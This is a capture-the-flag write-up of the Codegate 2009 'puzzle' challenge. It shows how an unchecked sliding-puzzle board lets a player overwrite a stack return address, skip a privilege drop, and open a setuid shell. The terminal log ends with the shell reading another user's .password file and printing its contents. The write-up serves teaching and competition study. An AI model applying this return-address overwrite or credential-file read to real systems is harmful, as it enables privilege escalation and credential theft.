a....
                       __    _                         __    _ 
 _      ______  ____  / /_  (_)  _      ______  ____  / /_  (_)
| | /| / / __ \/ __ \/ __ \/ /  | | /| / / __ \/ __ \/ __ \/ / 
| |/ |/ / /_/ / /_/ / /_/ / /   | |/ |/ / /_/ / /_/ / /_/ / /  
|__/|__/\____/\____/_.___/_/    |__/|__/\____/\____/_.___/_/   
                                                               
                           __          
    ____  ____ _____  ____/ /___ ______
   / __ \/ __ `/ __ \/ __  / __ `/ ___/
  / /_/ / /_/ / / / / /_/ / /_/ (__  ) 
 / .___/\__,_/_/ /_/\__,_/\__,_/____/  
/_/                                    

                                            Production
                                            


===[ Solving the puzzle challenge (japan area)
by [pandas] ero


===[ Introduction

The puzzle executable was one of the challenges in the Codegate 2009 hacking
competition.
The executable appeared, at first instance, to be a game that upon successul
completion would provide with shell-access to the player. Obtaining the necessary
access required a bit more work than simply winning. The next sections detail how
to obtain shell-access with the right privileges.


===[ Challenge details

The game consisted of a 4 by 4 board of numbers. The cells in the board were
occupied by numbers from 0 to 15 in random locations. The objective of the game
was to sort them all from lower to higher, 0 having to be in the top-left
corner and 15 in the lower-right.

The sorting was accomplished by swapping 0 with any of the surrounding numbers.
The game is played with the keys L,R,U,D,Q indicating the movements Left, Right,
Up, Down and to Quit respectively.

When a movement is made, zero swaps positions with the number occupying the
position where the zero is moved. Example:

 1  2  3  4
 5  6  7  8
 9 10 11 12
13 14 15  0

L (move to the left): swap 0 and 15

 1  2  3  4
 5  6  7  8
 9 10 11 12
13 14  0 15

According to the logic of the game, once the numbers where sorted a shell would
be spawn. Although just before the execlp() the program issued a
setresuid(getuid(), getuid(), getuid()) effectively lowering the privileges of
the binary's suid user.

The source code in the application is:

setresuid(getuid(), getuid(), getuid());
execlp("/bin/sh", "/bin/sh", NULL);

and the corresponding disassembly:

.text:0804892B         call    _getuid
.text:0804892B
.text:08048930         mov     ebx, eax
.text:08048932         call    _getuid
.text:08048932
.text:08048937         mov     esi, eax
.text:08048939         call    _getuid
.text:08048939
.text:0804893E         mov     [esp+8], ebx
.text:08048942         mov     [esp+4], esi
.text:08048946         mov     [esp], eax
.text:08048949         call    _setresuid
.text:08048949
.text:0804894E         mov     dword ptr [esp+8], 0
.text:08048956         mov     dword ptr [esp+4], offset file ; "/bin/sh"
.text:0804895E         mov     dword ptr [esp], offset file ; "/bin/sh"
.text:08048965         call    _execlp

===[ Obtaining shell

The game handled the swapping of the zero with the corresponding number within
the switch-case in the game() function.

Additionally the logic controlling the movements on the board did not perform
any checks to verify the movement stayed within the board's limits. Therefore
it was possible to move the zero outside the board and into the contiguous
memory. The board was represented as a char array 16 bytes long held in the
stack.

At this point it became obvious that it was possible to alter the contents of
the stack by "playing" with bytes outside the board itself. The  swapping of
bytes could be made to affect the return address where game() will come back
to. It's normal return address is 0x08048990.

In order to obtain a shell without its privileges being dropped to those of
the running user we would need to skip the call to setresuid() so we keep the
suid privileges. That would let us read the password file and complete the
challenge.

In order to skip over the setresuid() call we could attempt to modify the
return address of game() to land after the setresuid() but before the execlp().
The call to execlp is made at 0x08048965 and it's arguments set up at
0x0804894E. Given that the return address from game() saved in the stack is
0x08048990

.text:0804898B         call    game
.text:08048990         leave
.text:08048991         retn

we would only need to modify the least significant byte.

Once we accomplished that it would suffice with attempting to exit the game by
issuing the Q command, that would return directly to our altered returned
address invoking the shell.

===[ Playing with the stack

Having the objective clear, now we need to figure out how we could modify the
address to fullfil our goal.

The stack layout while in the function game() is as follows:

EBP+0C   E0 85 48 08
EBP+08   65 CD DB 49 
EBP+04   90 89 04 08  --> Return address from game() (to main())
EBP+00   88 B3 B2 BF  --> Saved ESP
EBP-04   B0 89 04 08
EBP-08   .. .. .. BF
EBP-0C   05 00 00 00  --> second (variable)
EBP-10   0F 00 00 00  --> first  (variable)
EBP-14   07 00 00 00  --> loop   (variable)
EBP-18   0A 07 0D 0B  \
EBP-1C   04 0C 0F 02  |--> The board
EBP-20   00 0E 01 05  |
EBP-24   03 08 06 04  /

As we can see, there's a 0x49 at EBP+0x0B. If we could move that value into
EBP+04 the return address would turn into 0x08048949, exactly into the call
to setresuid(). If we return there (after the arguments are set up) the
function would be called, most likely, with invalid arguments leading it to
fail and to subsequently not drop privileges.

(NOTE: In the following description beware of the mixed up/down the movements
described are as would appear in the board which is reversed as to the
movements seen in the stack dump)
Therefore, we need to play the game in the stack, moving the 0x49 into EBP+0x4.
To do that we can move the zero in the board to the lower rightmost positon,
corresponding to EBP+0x15. If we move the cursor downwards 8 times (DDDDDDDD)
we will move the 0x49 into EBP+07.
The cursor will be then in the upper row (at EBP+0B).


(Notation: modified values to the previous step are within brackets, 
cursor is within *stars*)

EBP+08   65 CD DB *00* <- cursor 
EBP+04   90 89 04 [49]  --> Return address
EBP+00   88 B3 B2 [08]  --> Saved ESP

We then move all the way left (LLL)

EBP+08   *00* [65] [CD] [DB]
EBP+04    90   89   04   49   --> Return address
EBP+00    88   B3   B2   08   --> Saved ESP

two rows up (UU, row at EBP+00) 

EBP+08   [90]  65   CD   DB 
EBP+04   [88]  89   04   49   --> Return address
EBP+00   *00*  B3   B2   08   --> Saved ESP

and then to the end of the row (RRR) and move down twice (DD). After this
sequence we have placed 0x49 at EBP+03 and the cursor at EBP+0B, having
effectively looped around the return address.

EBP+08    90   65   CD  *00*
EBP+04    88   89   04  [DB]  --> Return address
EBP+00   [B3] [B2] [08] [49]  --> Saved ESP

If we repeat this sequence (LLL-UU-RRR-DD) 3 more times then 0x49 will be at
EBP+00, just below our targe postion (looping once more would set it there).

EBP+08   [88] [90] [65] *00*
EBP+04   [B3]  89   04  [CD]  --> Return address
EBP+00   [B2] [08] [49] [DB]  --> Saved ESP

EBP+08   [B3] [88] [90] *00*
EBP+04   [B2]  89   04  [65]  --> Return address
EBP+00   [08] [49] [DB] [CD]  --> Saved ESP

EBP+08   [B2] [B3] [88] *00*
EBP+04   [08]  89   04  [90]  --> Return address
EBP+00   [49] [DB] [CD] [65]  --> Saved ESP

But before we finish we need to make sure there a 0x08 at EBP+07 (the return
address). We have been changing it in the previous movements.
To achieve this we can see that there's a 0x08 at EBP+0F, 

EBP+0C    E0   85   48   08
EBP+08   [B2] [B3] [88] *00*
EBP+04   [08]  89   04  [90]  --> Return address
EBP+00   [49] [DB] [CD] [65]  --> Saved ESP

if we move it to where the 0x49 was originally, a last loop would leave it all
as we intend. After the previous 4 loops, the cursor is at EBP+0B, just under
the value we want, if we move down, left and then up we will have put it where
we want.

EBP+0C    E0   85  [88] [48]
EBP+08    B2   B3  *00* [08]
EBP+04    08   89   04   90   --> Return address
EBP+00    49   DB   CD   65   --> Saved ESP
x
Finally, completing a loop again will build the return address we have been
looking for

EBP+0C    E0   85   88   48
EBP+08   [08] [B2] [B3] *00*
EBP+04   [49]  89   04   08   --> Return address into [0x08048949 call    _setresuid()]
EBP+00   [DB] [CD] [65] [90]  --> Saved ESP

After all of this playing, we are able to reliably construct the return address
we want, provided we set the cursor always to the lower rightmost corner.If so,
it suffices with entering our crafted sequence and then Q to obtain the shell:


DDDDDDDD + 
  LLLUURRRDD + LLLUURRRDD + LLLUURRRDD + LLLUURRRDD + 
    DLU + 
      LLUURRRDD + 
       Q =
= DDDDDDDDLLLUURRRDDLLLUURRRDDLLLUURRRDDLLLUURRRDDDLULLUURRRDDQ

"Move to the 49" + 
  "3 x (loop to take it where we want it)" + 
    "move the 0x08", 
      "last loop to put finalize the address" + 
        return!


===[ Testing the solution


earth@codegate5:~$ ./puzzle 
 10  3  7  2
  4  9 11  5
  1 15 14  0
 12  8  6 13
--------------
D
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
DDDDDDDDLLLUURRRDDLLLUURRRDDLLLUURRRDDLLLUURRRDDDLULLUURRRDDQ
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
 10  3  7  2
  4  9 11  5
  1 15 14 13
 12  8  6  0
--------------
$ $ id
uid=1005(earth) gid=1005(earth) euid=1004(sun) groups=1005(earth)
$ ls /home/sun
$ ls -s /home/sun
total 0
$ ls -la /home/sun
total 24
dr-x--x--- 2 sun  sun  4096 2009-04-07 09:02 .
dr-xr-xr-x 9 root sun  4096 2009-04-07 08:13 ..
lrwxrwxrwx 1 root root    9 2009-04-07 09:02 .bash_history -> /dev/null
-rw-r--r-- 1 sun  sun   220 2008-05-13 03:48 .bash_logout
-rw-r--r-- 1 sun  sun  3115 2008-05-13 03:48 .bashrc
-r-------- 1 sun  root   35 2009-04-07 03:57 .password
-rw-r--r-- 1 sun  sun   675 2008-05-13 03:48 .profile
$ cat /home/sun/.password
6p543po43iog098a093aoijefwio39043p
$ 


===[ Closing

"eu estaba ali, xogando, ordenando os números... enton vai vir o puto signo
do $ e jodeume o xogo... vaia merda.." ;-)

